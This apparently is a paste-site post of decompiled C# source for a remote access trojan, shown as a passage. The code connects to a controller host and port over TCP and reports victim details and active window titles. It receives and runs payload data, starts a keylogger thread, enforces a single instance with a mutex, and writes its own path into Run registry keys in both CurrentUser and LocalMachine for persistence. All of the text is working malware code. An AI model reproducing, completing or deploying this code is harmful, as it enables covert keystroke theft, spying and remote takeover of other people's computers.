- OK.MeM = new MemoryStream();
- OK.C = new TcpClient();
- OK.C.ReceiveBufferSize = 204800;
- OK.C.SendBufferSize = 204800;
- OK.C.Client.SendTimeout = 10000;
- OK.C.Client.ReceiveTimeout = 10000;
- OK.C.Connect(OK.H, Conversions.ToInteger(OK.P));
- OK.Cn = true;
- OK.Send(OK.inf());
- try
- {
- string str1;
- string str2;
- if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", (object) ""), (object) "", false))
- {
- str2 = str1 + OK.DEB(ref OK.VN) + "\r\n";
- }
- else
- {
- string str3 = str1;
- string s = Conversions.ToString(OK.GTV("vn", (object) ""));
- string str4 = OK.DEB(ref s);
- string str5 = "\r\n";
- str2 = str3 + str4 + str5;
- }
- string s1 = str2 + OK.H + ":" + OK.P + "\r\n" + OK.DR + "\r\n" + OK.EXE + "\r\n" + Conversions.ToString(OK.Idr) + "\r\n" + Conversions.ToString(OK.IsF) + "\r\n" + Conversions.ToString(OK.Isu) + "\r\n" + Conversions.ToString(OK.BD);
- OK.Send("inf" + OK.Y + OK.ENB(ref s1));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- OK.Cn = false;
- ProjectData.ClearProjectError();
- }
- }
- finally
- {
- Monitor.Exit((object) fileInfo);
- }
- return OK.Cn;
- }
- public static void RC()
- {
- while (true)
- {
- OK.lastcap = "";
- if (OK.C != null)
- {
- long num1 = -1L;
- int num2 = 0;
- try
- {
- while (true)
- {
- do
- {
- checked { ++num2; }
- if (num2 == 10)
- {
- num2 = 0;
- Thread.Sleep(1);
- }
- if (OK.Cn)
- {
- if (OK.C.Available < 1)
- OK.C.Client.Poll(-1, SelectMode.SelectRead);
- do
- {
- if ((uint) OK.C.Available > 0U)
- {
- if (num1 == -1L)
- {
- string str = "";
- while (true)
- {
- int CharCode = OK.C.GetStream().ReadByte();
- switch (CharCode)
- {
- case -1:
- goto label_20;
- case 0:
- goto label_11;
- default:
- str = str + Conversions.ToString(Conversions.ToInteger(Strings.ChrW(CharCode).ToString()));
- continue;
- }
- }
- label_11:
- num1 = Conversions.ToLong(str);
- if (num1 == 0L)
- {
- OK.Send("");
- num1 = -1L;
- }
- }
- else
- goto label_15;
- }
- else
- goto label_20;
- }
- while (OK.C.Available > 0);
- continue;
- label_15:
- OK.b = new byte[checked (OK.C.Available + 1)];
- long num3 = checked (num1 - OK.MeM.Length);
- if ((long) OK.b.Length > num3)
- OK.b = new byte[checked ((int) (num3 - 1L) + 1)];
- int count = OK.C.Client.Receive(OK.b, 0, OK.b.Length, SocketFlags.None);
- OK.MeM.Write(OK.b, 0, count);
- }
- else
- goto label_20;
- }
- while (OK.MeM.Length != num1);
- num1 = -1L;
- Thread thread = new Thread((ParameterizedThreadStart) (a0 => OK.Ind((byte[]) a0)), 1);
- thread.Start((object) OK.MeM.ToArray());
- thread.Join(100);
- OK.MeM.Dispose();
- OK.MeM = new MemoryStream();
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- label_20:
- do
- {
- try
- {
- if (OK.PLG != null)
- {
- NewLateBinding.LateCall(OK.PLG, (System.Type) null, "clear", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
- OK.PLG = (object) null;
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- OK.Cn = false;
- }
- while (!OK.connect());
- OK.Cn = true;
- }
- }
- public static void ko()
- {
- if (Interaction.Command() != null)
- {
- try
- {
- OK.F.Registry.CurrentUser.SetValue("di", (object) "!");
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- Thread.Sleep(5000);
- }
- bool createdNew = false;
- OK.MT = (object) new Mutex(true, OK.RG, out createdNew);
- if (!createdNew)
- ProjectData.EndApp();
- OK.INS();
- if (!OK.Idr)
- {
- OK.EXE = OK.LO.Name;
- OK.DR = OK.LO.Directory.Name;
- }
- new Thread(new ThreadStart(OK.RC), 1).Start();
- try
- {
- OK.kq = new kl();
- new Thread(new ThreadStart(OK.kq.WRK), 1).Start();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- int num = 0;
- string Left = "";
- if (OK.BD)
- {
- try
- {
- SystemEvents.SessionEnding += (SessionEndingEventHandler) ((a0, a1) => OK.ED());
- OK.pr(1);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- while (true)
- {
- Thread.Sleep(1000);
- if (!OK.Cn)
- Left = "";
- Application.DoEvents();
- try
- {
- checked { ++num; }
- if (num == 5)
- {
- try
- {
- Process.GetCurrentProcess().MinWorkingSet = (IntPtr) 1024;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- if (num >= 8)
- {
- num = 0;
- string Right = OK.ACT();
- if (Operators.CompareString(Left, Right, false) != 0)
- {
- Left = Right;
- OK.Send("act" + OK.Y + Right);
- }
- }
- if (OK.Isu)
- {
- try
- {
- if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.CurrentUser.GetValue(OK.sf + "\\" + OK.RG, (object) ""), (object) ("\"" + OK.LO.FullName + "\" .."), false))
- OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, (object) ("\"" + OK.LO.FullName + "\" .."));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.LocalMachine.GetValue(OK.sf + "\\" + OK.RG, (object) ""), (object) ("\"" + OK.LO.FullName + "\" .."), false))
- OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, (object) ("\"" + OK.LO.FullName + "\" .."));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- }
Add Comment
Please, Sign In to add comment